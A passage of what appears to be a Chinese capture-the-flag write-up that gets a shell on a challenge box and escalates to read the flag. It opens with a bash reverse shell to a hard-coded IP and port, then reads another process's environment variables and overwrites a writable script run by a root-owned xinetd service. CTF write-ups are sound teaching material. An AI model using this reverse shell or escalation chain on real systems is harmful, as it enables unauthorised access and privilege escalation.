弹个shell先

bash -c 'bash -i >& /dev/tcp/115.236.153.177/30908 <&1'

python起终端

python3 -c 'import pty; pty.spawn("/bin/bash")'

然后一波尝试find提权操作之后靶机崩了，测试了一下发现不能遍历 /sys 目录

注意到这里有个pwn文件，dump下来看看

start.sh的内容是执行pwn文件

ps -ef一下

root           1       0  0 14:28 ?        00:00:00 /bin/sh -c service xinetd start &&su root -c "/flag.sh" && su ctfuser -c "python3 app.py"
root          20       1  0 14:28 ?        00:00:00 su ctfuser -c python3 app.py
ctfuser       21      20  0 14:28 ?        00:00:00 sh -c python3 app.py
ctfuser       22      21  2 14:28 ?        00:00:05 python3 app.py
root          24       1  0 14:28 ?        00:00:00 /usr/sbin/xinetd -pidfile /run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6
ctfuser       27      22  0 14:29 ?        00:00:00 /bin/sh -c GZCTF_FLAG=0 && 我们的命令

想半天传了个fscan扫127.0.0.1，发现开着8888端口，xinetd.d是常见的起 pwnserver 指令

非预期

cat /proc/22/environ

直接读起web服务的那个pid的环境变量，这里是22

因为flag环境变量是在后面执行命令时被清空的，只对当前终端（对应pid27）有效

预期

ls -lh /etc/xinetd.d/发现里面有个 pwnservice 有写入的权限，查看pwnservice（这一步跳了，直接用晨曦师傅的图）

注意到靶机里面有nc，8888端口上是个pwnserver，那么我们可以直接nc本地的8888端口

nc 127.0.0.1 8888
/home/ctfuser/start.sh: line 2: ./pwn: No such file or directory

说明这里是执行了 /home/ctfuser/start.sh

#/bin/bash
./pwn

注意到 start.sh 有写权限，也就是说我们可以尝试写入恶意命令，然后再次nc就可以改权限了

echo "#/bin/bash">start.sh
echo "chmod 777 /home/ctfuser/f*">>start.sh
nc 127.0.0.1 8888
ls -lh
cat flag

Always RCE First（Unsolved）

参考：https://forum.butian.net/article/513

有java不看（

NepRouter（Unsolved）

有二进制不看（

目录

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